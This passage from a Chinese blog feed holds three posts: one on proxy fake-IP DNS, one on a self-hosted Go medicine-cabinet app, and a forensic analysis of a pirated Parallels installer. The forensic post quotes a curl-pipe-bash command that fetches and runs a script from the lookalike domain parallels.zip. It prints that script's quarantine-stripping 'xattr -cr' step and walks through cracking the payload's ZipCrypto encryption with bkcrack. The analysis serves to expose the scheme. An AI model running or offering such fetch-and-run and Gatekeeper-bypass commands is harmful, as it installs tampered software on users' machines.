200</span><br></pre></td></tr></table></figure><p>它会从自己的服务器抓取页面并返回内容。你看到的就是<strong>外部用户看到的</strong>。</p><p><strong>查域名状态：问注册局。</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whois -h whois.verisign-grs.com example.com</span><br></pre></td></tr></table></figure><p>注册商那一段的信息可能滞后，注册局（.com 是 Verisign）才是权威。</p><h2 id="一句话"><a href="#一句话" class="headerlink" title="一句话"></a>一句话</h2><p>在开着代理的机器上，<code>dig</code> 和 <code>curl</code> <strong>不是在告诉你外面的世界是什么样，而是在告诉你代理希望你看到什么样</strong>。</p><p>这不是 bug，是 fake-IP 的设计本意。只是当你正好在排查网络问题时，这份善意的谎言会把你带得很远。</p><p>所以判断一件事”到底成没成”，最好换一双不在你局域网里的眼睛。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/16/fake-ip-lies/</id>
    <link href="https://zhangwenqiang.com/2026/09/16/fake-ip-lies/"/>
    <published>2026-09-16T09:00:00.000Z</published>
    <summary>
      <![CDATA[<p>给一个新域名配好解析，隔了十分钟，在终端里查：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dig +short example.com</span><br><span class="line">198.18.15.123</span><br></pre></td></tr></table></figure>

<p>不对。那不是我配的地址。</p>
<p>于是开始怀疑人生：DNS 没生效？配置写错了？服务商抽风？——挨个查了一遍，全都没问题。</p>
<p>问题出在<strong>发出这条查询的那台电脑</strong>身上。</p>]]>
    </summary>
    <title>开着代理的时候，你电脑上查到的 DNS 是假的</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="OpenWrt" scheme="https://zhangwenqiang.com/tags/OpenWrt/"/>
    <category term="Go" scheme="https://zhangwenqiang.com/tags/Go/"/>
    <category term="SQLite" scheme="https://zhangwenqiang.com/tags/SQLite/"/>
    <category term="大模型应用" scheme="https://zhangwenqiang.com/tags/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E5%BA%94%E7%94%A8/"/>
    <category term="自建服务" scheme="https://zhangwenqiang.com/tags/%E8%87%AA%E5%BB%BA%E6%9C%8D%E5%8A%A1/"/>
    <content>
      <![CDATA[<p>家里药箱翻出来一堆过期药，想找退烧药的时候又翻不到。市面上的 App 要么要注册要上云，要么把全家的用药数据传给不知道谁——干脆自己写一个。</p><p>最后的成品是一个 <strong>Go 单文件 Web 应用</strong>，编译出来一个可执行文件，直接塞进家里的 OpenWrt 路由器常驻运行。录入一盒药最快只要<strong>拍张照</strong>。</p><p>这篇记录完整的技术选型和踩过的坑。代码已开源：<a href="https://github.com/zhangwenqiang0214/medbox">zhangwenqiang0214&#x2F;medbox</a></p><span id="more"></span><h2 id="一、约束先行：为什么是”单文件塞路由器”"><a href="#一、约束先行：为什么是”单文件塞路由器”" class="headerlink" title="一、约束先行：为什么是”单文件塞路由器”"></a>一、约束先行：为什么是”单文件塞路由器”</h2><p>先定运行环境，再定技术栈——这个顺序很重要。</p><p>我不想为了一个药箱应用专门开一台机器。家里 24 小时不关的只有路由器，所以目标很明确：<strong>跑在 OpenWrt 上</strong>。</p><p>但路由器的资源是真紧张。我那台 RAX3000M 上已经背着 OpenClash、softflowd、Grafana 一堆东西，内存本来就不宽裕，overlay 分区也就那么点。这直接砍掉了一堆选项：</p><ul><li>❌ Docker —— 路由器上根本不现实</li><li>❌ Node&#x2F;Python —— 拖一整个运行时进去，overlay 放不下</li><li>❌ 任何需要单独装数据库的方案</li></ul><p>剩下的答案只有一个：<strong>编译成一个静态可执行文件，扔进去就能跑</strong>。Go 天生适合干这个。</p><p>于是整个项目最后就是 <code>main.go</code> 一个文件 + 三个前端静态文件。没有 <code>node_modules</code>，没有构建流水线，没有框架。</p><hr><h2 id="二、坑-1：SQLite-的-CGO-之痛"><a href="#二、坑-1：SQLite-的-CGO-之痛" class="headerlink" title="二、坑 1：SQLite 的 CGO 之痛"></a>二、坑 1：SQLite 的 CGO 之痛</h2><p>要存数据，SQLite 是最自然的选择——单文件数据库，跟”单文件应用”的气质完全一致。</p><p>Go 里用 SQLite，第一反应是 <code>mattn/go-sqlite3</code>。装上、本地跑通，一切正常。直到我要交叉编译到路由器：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GOOS=linux GOARCH=arm64 go build -o medbox-arm64 .</span><br></pre></td></tr></table></figure><p><strong>炸了。</strong></p><p>原因是 <code>mattn/go-sqlite3</code> 是对 C 版 SQLite 的绑定，<strong>依赖 CGO</strong>。而一旦开了 CGO，交叉编译就不再是改个环境变量的事——你得给目标架构准备一整套 C 交叉编译工具链。为了一个药箱应用去折腾 ARM64 的 gcc 工具链，属实不值。</p><p>解法是换成 <strong><code>modernc.org/sqlite</code></strong>：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">require modernc.org/sqlite v1<span class="number">.34</span><span class="number">.5</span></span><br></pre></td></tr></table></figure><p>这个库把 SQLite 的 C 代码<strong>机器翻译成了纯 Go</strong>。没有 CGO，没有 C 编译器，交叉编译回归到最朴素的形态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GOOS=linux GOARCH=arm64 go build -o deploy/medbox-arm64 .</span><br></pre></td></tr></table></figure><p>一条命令出货。换 <code>mipsle</code> 给老路由器也是改个字母的事。</p><blockquote><p><strong>代价</strong>：纯 Go 的 SQLite 性能比 C 版差一截，二进制也胖（15MB 左右）。但对一个家庭药箱——几百条记录、个位数并发——这点性能差异完全感知不到。<strong>在这个场景下，可移植性的价值远高于性能。</strong></p></blockquote><hr><h2 id="三、go-embed：把前端塞进二进制"><a href="#三、go-embed：把前端塞进二进制" class="headerlink" title="三、go:embed：把前端塞进二进制"></a>三、go:embed：把前端塞进二进制</h2><p>前端是原生 HTML&#x2F;CSS&#x2F;JS，没上框架。用 <code>go:embed</code> 直接内嵌：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//go:embed web</span></span><br><span class="line"><span class="keyword">var</span> webFS embed.FS</span><br></pre></td></tr></table></figure><p>这样最终产物真的就是<strong>一个文件</strong>。部署 &#x3D; <code>scp</code> 一个文件过去。不用传前端资源，不用配 nginx，不用担心静态文件路径。</p><p>同时留了个后门参数，方便本地调前端时不用反复编译：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">go run . -web ./web   <span class="comment"># 留空则用内嵌资源</span></span><br></pre></td></tr></table></figure><hr><h2 id="四、坑-2：药品有效期，包装上根本没有”日”"><a href="#四、坑-2：药品有效期，包装上根本没有”日”" class="headerlink" title="四、坑 2：药品有效期，包装上根本没有”日”"></a>四、坑 2：药品有效期，包装上根本没有”日”</h2><p>写过期提醒的时候才发现一个现实问题：<strong>药盒上印的有效期，绝大多数只到月份</strong>。</p><blockquote><p>有效期至 2026 年 03 月</p></blockquote><p>没有具体哪一天。那 <code>2026-03</code> 到底算哪天过期？3 月 1 日还是 3 月 31 日？</p><p>差着 30 天，而这是<strong>药</strong>，宁可保守：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 统一按「当月第 1 天 0 点」计算（有效期到月，进入该月即视为过期，偏保守）</span></span><br><span class="line"><span class="keyword">return</span> time.Date(y, time.Month(m), <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, time.Local), <span class="literal">true</span></span><br></pre></td></tr></table></figure><p><strong>一进入该月就标记过期。</strong> 宁可提前一个月提醒你扔掉，也不要让人在最后一天吃下可能已经失效的药。</p><p>这类”业务上偏保守”的决策，在健康相关的应用里我觉得比技术选型更重要。</p><hr><h2 id="五、坑-3：药箱里不只有药"><a href="#五、坑-3：药箱里不只有药" class="headerlink" title="五、坑 3：药箱里不只有药"></a>五、坑 3：药箱里不只有药</h2><p>录入到一半发现，药箱里一大半东西根本不是药：体温计、血压计、创可贴、棉签、口罩、纱布。</p><p>这些东西的过期逻辑完全不同：</p><ul><li><strong>体温计、血压计</strong> —— 能反复用，压根不该算”过期”，也不该算”库存还剩几个”</li><li><strong>创可贴、棉签</strong> —— 一次性，用一个少一个，要计数</li><li><strong>药品</strong> —— 既要算过期，也要算库存</li></ul><p>最后建了个二维模型：<code>item_type</code>（药品&#x2F;器械）× <code>reusable</code>（可复用&#x2F;一次性）。可复用器械直接短路掉过期计算：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> m.ItemType == <span class="string">&quot;器械&quot;</span> &amp;&amp; m.Reusable == <span class="string">&quot;可复用&quot;</span> &#123;</span><br><span class="line">    m.Status, m.DaysLeft, m.Durable = <span class="string">&quot;ok&quot;</span>, <span class="number">0</span>, <span class="literal">true</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>顺带一提，这个字段是<strong>后加的</strong>——数据库里已经有几十条记录了。所以写了个 <code>migrateV2</code>：重建带 <code>CHECK</code> 约束的新表，旧数据边拷贝边纠正，跑一次就完事。自己用的小项目也别图省事直接改表，数据丢了没地方哭。</p><hr><h2 id="六、AI-部分：让录入这件事别那么烦"><a href="#六、AI-部分：让录入这件事别那么烦" class="headerlink" title="六、AI 部分：让录入这件事别那么烦"></a>六、AI 部分：让录入这件事别那么烦</h2><p>手动录一盒药要填十几个字段：药名、规格、剂型、适应症、用法用量、有效期、批准文号…… 录三盒就放弃了。<strong>录入成本是这类应用的头号杀手。</strong></p><p>所以接了 DeepSeek，做了四种录入方式：</p><table><thead><tr><th>方式</th><th>交互</th></tr></thead><tbody><tr><td>📷 <strong>拍照</strong></td><td>拍药盒，视觉模型逐字识别，自动填好所有字段</td></tr><tr><td>💬 <strong>一句话</strong></td><td>「布洛芬两盒 明年3月过期」→ 解析 + 常识补全</td></tr><tr><td>🔤 <strong>药名</strong></td><td>只输药名和有效期，模型补全剂型&#x2F;适应症&#x2F;分类</td></tr><tr><td>✍️ <strong>手动</strong></td><td>兜底，什么都不依赖</td></tr></tbody></table><h3 id="防幻觉：把”不要编造”写死进-prompt"><a href="#防幻觉：把”不要编造”写死进-prompt" class="headerlink" title="防幻觉：把”不要编造”写死进 prompt"></a>防幻觉：把”不要编造”写死进 prompt</h3><p>视觉识别最大的风险是<strong>模型自作聪明</strong>。你拍一张模糊的药盒，它能给你编出一个看起来特别合理的批准文号。</p><p>这在别的场景可能只是错，在用药场景是<strong>危险</strong>。所以 prompt 里把约束写得非常死：</p><blockquote><p>请【逐字识别】包装上印刷的文字，据实提取信息，只输出一个 JSON 对象。看不清或包装上没有的字段留空字符串，<strong>【绝对不要编造】</strong>。</p></blockquote><p>并且给每个字段都写死了枚举和格式要求，比如：</p><ul><li><code>is_rx</code>（是否处方药）：包装印「OTC&#x2F;甲类&#x2F;乙类非处方」→ 否；印「凭医师处方购买使用」→ 是</li><li><code>expiry_date</code>：只输出 <code>YYYY-MM</code>；若包装只印生产日期 + 「有效期24个月」，据此推算</li></ul><p><strong>给模型留的自由度越小，幻觉越少。</strong></p><h3 id="对症分诊：只推荐你家里真有的药"><a href="#对症分诊：只推荐你家里真有的药" class="headerlink" title="对症分诊：只推荐你家里真有的药"></a>对症分诊：只推荐你家里真有的药</h3><p>这个功能我自己用得最多：描述症状，它从<strong>当前库存</strong>里挑药。</p><p>关键在于把药箱库存注入上下文，并且限定它只能在库存里选：</p><blockquote><p>【家里可用】：从药箱里挑出对症的药，指名道姓写清楚吃哪个、每次多少、一天几次、饭前后等；若该药已过期或临近过期要提醒。若服药人是儿童，<strong>务必按其年龄&#x2F;体重折算儿童剂量而不是成人量</strong>；老人适当减量提醒。</p></blockquote><p>儿童剂量那句是特意加的。成人量给孩子吃是真会出事的，而模型默认给的基本都是成人量。</p><p>另外还有个「药箱体检」，自动分析<strong>成分冲突</strong>（比如两种药都含对乙酰氨基酚，叠着吃会过量）和<strong>品类缺口</strong>（家里缺哪类常备药）。这个结果扔进 <code>ai_cache</code> 表缓存，不然每次打开页面都烧一遍 token。</p><hr><h2 id="七、几个小设计"><a href="#七、几个小设计" class="headerlink" title="七、几个小设计"></a>七、几个小设计</h2><p><strong>API Key 的掩码往返。</strong> 设置页要能改 Key，但不能把 Key 明文吐给前端。做法是 GET 时替换成哨兵值，POST 时看到哨兵值就跳过不覆盖：</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// GET：不回传原文</span></span><br><span class="line"><span class="keyword">if</span> m[<span class="string">&quot;deepseek_api_key&quot;</span>] != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">    m[<span class="string">&quot;deepseek_api_key&quot;</span>] = <span class="string">&quot;__SET__&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">delete</span>(m, <span class="string">&quot;access_pin&quot;</span>)  <span class="comment">// 访问密码从不下发</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// POST：哨兵值 = 用户没改，跳过</span></span><br><span class="line"><span class="keyword">if</span> k == <span class="string">&quot;deepseek_api_key&quot;</span> &amp;&amp; v == <span class="string">&quot;__SET__&quot;</span> &#123;</span><br><span class="line">    <span class="keyword">continue</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>简单，但比”前端存一份明文再传回来”干净得多。</p><p><strong>部署脚本带自检。</strong> 一条命令：建目录 → 传二进制 → 装 init.d 服务 → 开机自启 → <code>curl</code> 健康检查。最后一步很关键，不然你永远不知道服务到底起没起来——<strong>退出码 0 不等于服务活着</strong>，这个教训我在别的项目上吃过。</p><hr><h2 id="八、开源前的脱敏：扫出来的东西比想象中多"><a href="#八、开源前的脱敏：扫出来的东西比想象中多" class="headerlink" title="八、开源前的脱敏：扫出来的东西比想象中多"></a>八、开源前的脱敏：扫出来的东西比想象中多</h2><p>准备开源的时候顺手做了一遍敏感信息扫描，结果有点意外：</p><table><thead><tr><th>发现</th><th>位置</th></tr></thead><tbody><tr><td>🔴 <strong>DeepSeek API Key 明文硬编码</strong></td><td><code>main.go</code> 默认设置块</td></tr><tr><td>🟠 <strong>家人的真实昵称</strong>当默认成员</td><td><code>main.go</code> + 前端 <code>app.js</code> 三处</td></tr><tr><td>⚫ 编译好的二进制<strong>里面焊着旧 Key</strong></td><td><code>deploy/</code></td></tr></tbody></table><p>第二条特别典型：我以为改掉后端默认值就完事了，结果一复扫，<strong>前端 <code>app.js</code> 里还硬编码了一份当 fallback，连输入框的 placeholder 都写着家人的名字</strong>。</p><p>教训是：<strong>脱敏不能只改你记得的那一处，必须全仓 grep 到零命中为止</strong>。而且要在 <code>git add</code> 之后、<code>push</code> 之前，再扫一遍 <code>git diff --cached</code> 的实际内容——因为最终进仓库的是暂存区，不是你的工作目录。</p><p>那个编译产物更阴险：二进制是 Key 被抹掉之前编译的，<strong>Key 就焊在里面</strong>。直接 <code>.gitignore</code> 排除掉，仓库只留源码。</p><hr><h2 id="尾巴"><a href="#尾巴" class="headerlink" title="尾巴"></a>尾巴</h2><p>整个项目大概断断续续折腾了几个晚上。现在家里人手机上存个书签，进门连上 WiFi 就能查”家里还有没有退烧药”、”这盒药过期没”。</p><p>数据全部躺在自家路由器的 SQLite 文件里，不上云，不遥测，不注册。</p><p>代码在这：<strong><a href="https://github.com/zhangwenqiang0214/medbox">github.com&#x2F;zhangwenqiang0214&#x2F;medbox</a></strong>，MIT 协议，随便拿去改。</p><hr><blockquote><p>⚠️ <strong>免责声明</strong>：本项目的 AI 用药建议仅供参考，不构成医疗意见，不能替代执业医师、药师的专业判断。用药前请阅读说明书，身体不适请及时就医。</p></blockquote>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/16/medbox-family-medicine-manager/</id>
    <link href="https://zhangwenqiang.com/2026/09/16/medbox-family-medicine-manager/"/>
    <published>2026-09-16T07:30:00.000Z</published>
    <summary>
      <![CDATA[<p>家里药箱翻出来一堆过期药，想找退烧药的时候又翻不到。市面上的 App 要么要注册要上云，要么把全家的用药数据传给不知道谁——干脆自己写一个。</p>
<p>最后的成品是一个 <strong>Go 单文件 Web 应用</strong>，编译出来一个可执行文件，直接塞进家里的 OpenWrt 路由器常驻运行。录入一盒药最快只要<strong>拍张照</strong>。</p>
<p>这篇记录完整的技术选型和踩过的坑。代码已开源：<a href="https://github.com/zhangwenqiang0214/medbox">zhangwenqiang0214&#x2F;medbox</a></p>]]>
    </summary>
    <title>给全家做了个药箱管家：Go 单文件塞进路由器，拍张照就能录入</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="macOS" scheme="https://zhangwenqiang.com/tags/macOS/"/>
    <category term="逆向分析" scheme="https://zhangwenqiang.com/tags/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/"/>
    <category term="恶意软件" scheme="https://zhangwenqiang.com/tags/%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6/"/>
    <category term="取证" scheme="https://zhangwenqiang.com/tags/%E5%8F%96%E8%AF%81/"/>
    <content>
      <![CDATA[<p>在闲鱼上花 120 元买了一份 Parallels Desktop「企业版授权」，卖家给了激活码，装完能用，还能小版本升级。直到杀毒软件报毒，才顺手查了一下——结果整条链拆下来，是个彻头彻尾的破解包。</p><p>这篇记录完整的取证过程和证据链。</p><span id="more"></span><h2 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h2><p>闲鱼上卖 Parallels 授权大致分两种：</p><ul><li><strong>明说是破解版</strong>，价格极低，直接甩给你一个破解包下载链接</li><li><strong>号称「企业版 &#x2F; 集中授权」</strong>，价格稍高，给你一个激活码，看起来像正经买卖</li></ul><p>我买的是第二种，120 元。安装方式是卖家给的一行命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -fsSL https://download.parallels.zip/install.sh | bash</span><br></pre></td></tr></table></figure><p>域名里有 <code>parallels</code>，看着像官方。装完输入激活码，激活成功，用了两个月，中间还成功升级过小版本。</p><p>直到小红伞（Avira）弹了报毒。</p><hr><h2 id="疑点一：签名对不上"><a href="#疑点一：签名对不上" class="headerlink" title="疑点一：签名对不上"></a>疑点一：签名对不上</h2><p>先看那个被报毒的文件本身。</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">codesign -dvvv Installer.app</span></span><br><span class="line">Identifier=com.parallels.pdcert</span><br><span class="line">CodeDirectory v=20400 flags=0x2(adhoc)</span><br><span class="line">Signature=adhoc</span><br><span class="line">TeamIdentifier=not set</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">spctl -a -vvv -t <span class="built_in">exec</span> Installer.app</span></span><br><span class="line">Installer.app: rejected</span><br></pre></td></tr></table></figure><p>Bundle ID 写着 <code>com.parallels.pdcert</code>，Info.plist 里是 <code>© 2026 Parallels International GmbH</code>——但签名是 <strong>adhoc</strong>，<code>TeamIdentifier</code> 未设置。</p><p>任何在 macOS 上正常分发的商业软件，都必须用 Developer ID 签名并经过苹果公证，否则用户双击根本打不开。<strong>adhoc 签名 &#x3D; 这个程序被改过。</strong></p><p>顺手看了下已安装的 Parallels 本体，同样是 adhoc：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">codesign -dv /Applications/Parallels\ Desktop.app</span></span><br><span class="line">Signature=adhoc</span><br><span class="line">TeamIdentifier=not set</span><br></pre></td></tr></table></figure><hr><h2 id="疑点二：那个安装脚本"><a href="#疑点二：那个安装脚本" class="headerlink" title="疑点二：那个安装脚本"></a>疑点二：那个安装脚本</h2><p>把脚本拉下来看（只读不执行）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">ZIP_SRC_URLS=(</span><br><span class="line">    <span class="string">&quot;https://download.parallels.zip/Installer.zip&quot;</span></span><br><span class="line">    <span class="string">&quot;https://cert.parallels.zip/Installer.zip&quot;</span></span><br><span class="line">    <span class="string">&quot;https://cdn.parallels.zip/Installer.zip&quot;</span></span><br><span class="line">)</span><br><span class="line">...</span><br><span class="line">unzip -o <span class="string">&quot;<span class="variable">$&#123;APP_SRC_PATH&#125;</span>&quot;</span> -d <span class="string">&quot;<span class="variable">$&#123;TARGET_DIR&#125;</span>&quot;</span></span><br><span class="line"><span class="built_in">rm</span> <span class="string">&quot;<span class="variable">$&#123;APP_SRC_PATH&#125;</span>&quot;</span></span><br><span class="line">xattr -cr <span class="string">&quot;<span class="variable">$&#123;APP_DST_PATH&#125;</span>&quot;</span>          <span class="comment"># ← 关键</span></span><br><span class="line">chflags nohidden <span class="string">&quot;<span class="variable">$&#123;APP_DST_PATH&#125;</span>&quot;</span></span><br><span class="line">open -R <span class="string">&quot;<span class="variable">$&#123;APP_DST_PATH&#125;</span>&quot;</span></span><br><span class="line">open -a <span class="string">&quot;<span class="variable">$&#123;APP_DST_PATH&#125;</span>&quot;</span></span><br></pre></td></tr></table></figure><p><img src="/images/pd-crack-chain.svg" alt="投放链路"></p><p><code>xattr -cr</code> 是整个脚本存在的理由。</p><p>macOS 会给所有从网上下载的文件打上 <code>com.apple.quarantine</code> 隔离标记，双击时 Gatekeeper 据此验证签名与公证。这个 app 是 adhoc 签名，带着标记必然被拦。剥掉标记，检查就不做了。</p><p><strong>正规软件永远不需要剥自己的隔离属性</strong>——它签名公证齐全，Gatekeeper 本来就放行。写下这一行，等于承认「我过不了苹果的检查」。</p><p>脚本里还有几处设计值得一提：</p><table><thead><tr><th>手法</th><th>目的</th></tr></thead><tbody><tr><td>三个镜像 + 测速</td><td>抗封禁</td></tr><tr><td>转圈动画 &#x2F; 进度条 &#x2F; 优雅报错</td><td>伪装成正规安装器</td></tr><tr><td>解压后 <code>rm</code> 掉原始 zip</td><td>减少残留证据</td></tr><tr><td>失败时 <code>rm -fr</code> 整个目录</td><td>失败不留痕</td></tr><tr><td><code>open -a</code> 自动运行</td><td>不给检查窗口</td></tr></tbody></table><p>写这个脚本的人很清楚：只要你信了域名、看着动画等几秒、app 自己弹出来，你就不会再去验签名了。</p><p>顺带验证了一下是否按 User-Agent 差异化投放（给研究员返回无害脚本、给真实用户返回载荷是常见手法）：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl UA    : a4b2f2bb07fdf6013456d6ea680233b7 (2978 B)</span><br><span class="line">browser UA : a4b2f2bb07fdf6013456d6ea680233b7 (2978 B)</span><br><span class="line">→ 内容一致，无差异化投放</span><br></pre></td></tr></table></figure><p>这是本次唯一一条对它有利的证据：脚本对所有人都一样，不是定向攻击。</p><h3 id="关于-parallels-zip"><a href="#关于-parallels-zip" class="headerlink" title="关于 parallels.zip"></a>关于 <code>parallels.zip</code></h3><table><thead><tr><th></th><th>parallels.com</th><th>parallels.zip</th></tr></thead><tbody><tr><td>注册人</td><td><strong>Parallels International GmbH</strong></td><td>无组织信息</td></tr><tr><td>注册商</td><td>MarkMonitor（企业品牌保护）</td><td>—</td></tr><tr><td>DNS</td><td>AWS Route53</td><td>Cloudflare</td></tr><tr><td>证书</td><td>—</td><td>Google Trust Services 免费 DV</td></tr></tbody></table><p>DV 证书只证明「有人控制这个域名」，不含任何组织身份。另外 <code>.zip</code> 是 2023 年才开放的 TLD，正因为容易和文件名混淆，一直是钓鱼高发区——服务端还把 shell 脚本的 <code>content-disposition</code> 设成了 <code>filename=&quot;Installer.zip&quot;</code>。</p><hr><h2 id="疑点三：资源文件里藏了东西"><a href="#疑点三：资源文件里藏了东西" class="headerlink" title="疑点三：资源文件里藏了东西"></a>疑点三：资源文件里藏了东西</h2><p>app 的 Resources 目录有三个可疑文件：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">file Resources/license.*</span></span><br><span class="line">license.cert: RIFF (little-endian) data</span><br><span class="line">license.db:   openssl enc&#x27;d data with salted password</span><br><span class="line">license.dv:   ASCII text, with very long lines (65536)</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">head</span> -c 32 Resources/license.cert | xxd</span></span><br><span class="line">00000000: 5249 4646 4d5a 504b 0304 1400 0900 0800  RIFF MZ PK......</span><br><span class="line">00000020: 1000 1c00 6c69 6263 6861 6e6e 656c 2e64  ....libchannel.d</span><br></pre></td></tr></table></figure><p><code>RIFF</code> 只是前 4 个字节的伪造头。跳过 6 字节，后面是标准的 <strong>ZIP 本地文件头</strong>（<code>PK\x03\x04</code>），第一个条目叫 <code>libchannel.dylib</code>。</p><p><img src="/images/pd-crack-payload.svg" alt="载荷嵌套结构"></p><p>解出来 38 个条目，但<strong>全部加密</strong>。</p><hr><h2 id="破开加密"><a href="#破开加密" class="headerlink" title="破开加密"></a>破开加密</h2><p>检查加密算法：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">flag_bits = 0x9</span><br><span class="line">  bit0 加密       : True</span><br><span class="line">  bit6 强加密/AES : False</span><br><span class="line">  compress_type   : 8 (deflate)</span><br><span class="line">→ ZipCrypto</span><br></pre></td></tr></table></figure><p>用的是老式 ZipCrypto，<strong>对已知明文攻击不设防</strong>。而我手上恰好有完美的已知明文——载荷里的 <code>pubkey</code> 已经被安装到系统里了，就是 <code>/Library/Application Support/Parallels/.pubkey</code>。</p><p>唯一的麻烦是条目用 deflate 压缩，攻击需要压缩后的字节流。试着复现：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">zip 中 pubkey: 原始=10955  压缩后=6416 (含12字节加密头)</span><br><span class="line">→ 纯 deflate 流应为 6404 字节</span><br><span class="line"></span><br><span class="line">  level 5: 6404 字节  ← 命中</span><br></pre></td></tr></table></figure><p>zlib level 5 精确复现。剩下的交给 <a href="https://github.com/kimci86/bkcrack">bkcrack</a>：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[10:50:33] Z reduction using 6397 bytes of known plaintext</span><br><span class="line">[10:50:34] Keys</span><br><span class="line">e0504b59 713c572f 8e942412</span><br></pre></td></tr></table></figure><p>一秒出密钥，38 个条目全部解开。</p><hr><h2 id="certs-里不是证书"><a href="#certs-里不是证书" class="headerlink" title="certs/ 里不是证书"></a><code>certs/</code> 里不是证书</h2><p>这是整件事最关键的发现。</p><p>载荷里有个 <code>certs/</code> 目录，32 个文件，每个 868–1456 字节，文件名是 16 位十六进制。看着像证书，解开却是：</p><figure class="highlight console"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">$ </span><span class="language-bash"><span class="built_in">head</span> -c 48 certs/11a992dc882b08de | xxd</span></span><br><span class="line">00000000: 5041 4745 5a45 524f 4301 0000 0000 0000  PAGEZERO C......</span><br><span class="line">00000020: 425a 6839 3141 5926 5359 fbe0 608d 0001  BZh91AY&amp;SY..`...</span><br></pre></td></tr></table></figure><p><code>PAGEZERO</code> 是 Mach-O 的段名，后面跟着 bzip2 流。解压每个流：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">流 ① →     1,128 字节   补丁偏移表</span><br><span class="line">流 ② → 32,148,835 字节   稀疏数据 = 重新计算好的代码签名页哈希表</span><br><span class="line">流 ③ →       669 字节   目标标识: channel.cert_p-55554944...</span><br></pre></td></tr></table></figure><p>（<code>55554944</code> 就是 